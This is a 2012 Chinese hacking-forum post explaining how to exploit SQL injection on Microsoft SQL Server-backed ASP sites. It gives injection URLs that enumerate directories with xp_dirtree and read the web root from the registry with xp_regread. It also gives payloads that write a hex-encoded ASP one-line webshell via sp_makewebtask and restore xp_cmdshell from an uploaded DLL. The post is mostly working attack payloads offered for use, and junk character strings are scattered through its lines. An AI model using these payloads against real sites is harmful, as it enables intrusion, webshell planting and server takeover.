找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1995|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'
9 J) _. e) X0 x& O假设我们在test里有两个文件夹test1和test2在test1里又有test3
' O) O% Q9 ^6 E9 E3 z% w; r结果显示
+ i' D4 L9 M, ^" u( w7 }# q9 B. |5 F/ L) w# ]' Z3 j# j
subdirectory depth+ H& c9 H6 K$ ^/ y0 ]
test1 12 y- S8 o0 L+ Q; {4 a
test3 2
- i9 F+ y) W% |0 [3 G/ [6 e# I5 @test2 1
# W# `6 _( Z( x% {2 q" h& R9 P4 C' L# e& B% f% R+ o, {
哈哈发现没有那个depth就是目录的级数& L9 ?$ `2 y7 D& L9 ]
ok了,知道怎么办了吧
% t- v) `! }5 b0 W4 T3 S1 r
: ?$ ]% @$ [; chttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
( u& ~  j6 u% e* Yhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
+ W5 I6 ?0 ]1 Bhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-1 q, c# `) }5 q' i

6 l4 s% m5 v' }7 U% F9 J只要加上id=1,就是第一级目录 。! e3 q( G. M: @3 Z  J& c

9 i8 a& Y( O! P) L% F5 y" \$ S4 t3 V9 f8 a' ?: o: ~, J
通过注册表读网站路径:1 Y' L* {6 t  z* |/ _( K# K
3 ?  c* q1 n4 @, k! g4 g
1.;create table [dbo].[cyfd] ([gyfd][char](255));
7 N; h& {( {: p9 O* ]$ N
+ f- B$ {, y. {" q; D; J# Q) m2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--* ?4 [, i: v) O8 b5 Q- w, I8 i
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--. l( A! P, V& }8 T' m6 Y# m3 b
  \* E4 u. R/ a- X
3.and 1=(select count(*) from 临时表 where 临时字段名>1)0 Q% H( E* V5 @. I* b
and 1=(select count(*) from cyfd where gyfd > 1) / M# d4 U1 C+ L2 Z, w% |3 a4 ~- _# H
这样IE报错,就把刚才插进去的Web路径的值报出来了
% L; v- F5 O% ?+ K
% o4 E, t# h' |; K8 C7 d4.drop table cyfd;-- 删除临时表+ l  C% M9 X* u% r; j
, v# \0 e! ~) g" h
获得webshell方法:
: ]( c! v" x: _1.create table cmd (a image)-- \**cmd是创建的临时表
" }& m9 F) x* ~3 B, M
& V; `- i) f9 W- I2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话' |2 Q$ ^# ~+ f' U- E

. G, R& I8 D5 o% K( r3 ?: ?2 {8 `, L6 z
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd', [+ R( e, |& u2 B
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
$ W+ w% }6 c  W! a6 M) [3 `+ n: E9 Y( v
4.drop table cmd;-- 删除cmd临时表  @6 u; C9 _- A  Q- }& D4 `, {* {
+ U( r1 E3 M# u" B. T
恢复xp_cmdshell方法之一:
' d+ M& \9 N# H3 q; F. k2 \2 s& w我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
4 D, I; x3 V& _http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'" N/ e# d2 A1 M9 k0 ~0 s! f) D
恢复,支持绝对路径的恢复哦。:)
' ?$ L7 ?' z6 ^8 ~. E- U$ Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表